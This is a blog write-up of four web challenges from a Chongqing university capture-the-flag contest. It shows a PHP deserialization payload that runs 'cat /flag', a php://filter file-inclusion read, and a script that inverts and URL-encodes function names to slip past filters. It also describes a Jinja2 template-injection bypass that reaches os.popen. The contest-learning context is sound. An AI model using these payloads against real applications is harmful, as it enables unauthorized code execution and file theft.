重庆市大学生信息安全竞赛ranfey-web-wp

发布于 2024-12-16  23 次阅读


web1

web签到题

开启容器后一直是Nothing,都没有头绪就先拿dirsearch目录扫描

PixPin_2024-12-08_10-14-28

发现两个文件,flag.txt是假flag,到www.zip下载下源码

可以发现有一个反序列化

PixPin_2024-12-08_10-14-44

简单构造

<?php
class Flag{
    public $cmd='cat /flag';

}
echo serialize(new Flag()); // 
?>

O:4:"Flag":1:{s:3:"cmd";s:9:"cat /flag";}

PixPin_2024-12-08_10-15-08

PixPin_2024-12-08_10-15-39

flag{ca24eba7-0dfe-402d-8210-42fe7a907cd5}

web2

默认是nm的https,搞的好久结果要http访问

访问到一个登录页面,f12知道admin为用户名

弱口令破一下

PixPin_2024-12-08_10-29-34

PixPin_2024-12-08_10-29-41

密码是password

会跳转到fllllag.php

访问后非本地用户,改头不行

然后发现登录界面的用户名处输入会产生一个快照

image-20241208162448473

后面发现还可以用其他协议,有文件包含漏洞

image-20241208162811155

那就用php://filter/read=convert.base64-encode/resource=fllllag.php来编码后读到那个/fllllag.php的代码

之后用随波逐流解码

image-20241208163706269

REMOTE_ADDR没法伪造,就直接从快照来访问

image-20241208164008465

分析后只有括号和%,~这些没有过滤,可以考虑通过取反来绕过

使用这个脚本

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

先读一下路径下有什么

image-20241208164226060

可以得到当前路径下有一个乱码的

image-20241208164352661

PixPin_2024-12-08_15-23-54

直接访问得到

PixPin_2024-12-08_15-24-59

flag{2d38465c-3a3e-43ef-b515-8179676c327f}

web3

随便试了几个发现存在ssti漏洞而且存在waf

image-20241208164731947

简单试了一下waf只有对{{}}过滤

image-20241208164822783

直接{% %}绕过

因为这个格式能确定是jinja2,其实用lipsum就可以了

发现可以拿到os

image-20241208165929278

image-20241208165858312

然后就顺着拿popen函数

image-20241208170033902

可以读到

直接拿到flag

image-20241208170153214

web4

打开发现有一个上传,先f12,发现有个提示

image-20241208170555162

ZmlsZQ==可太熟了,能直接知道是filebase64

知道是参数,不是post就是get,先get

image-20241208170711729

有反应,试一下加上路径

image-20241208171432291

flag{98d83ed0-25ad-4b51-b02c-1dac1e6cdeba}

QQ:2219349024
最后更新于 2024-12-16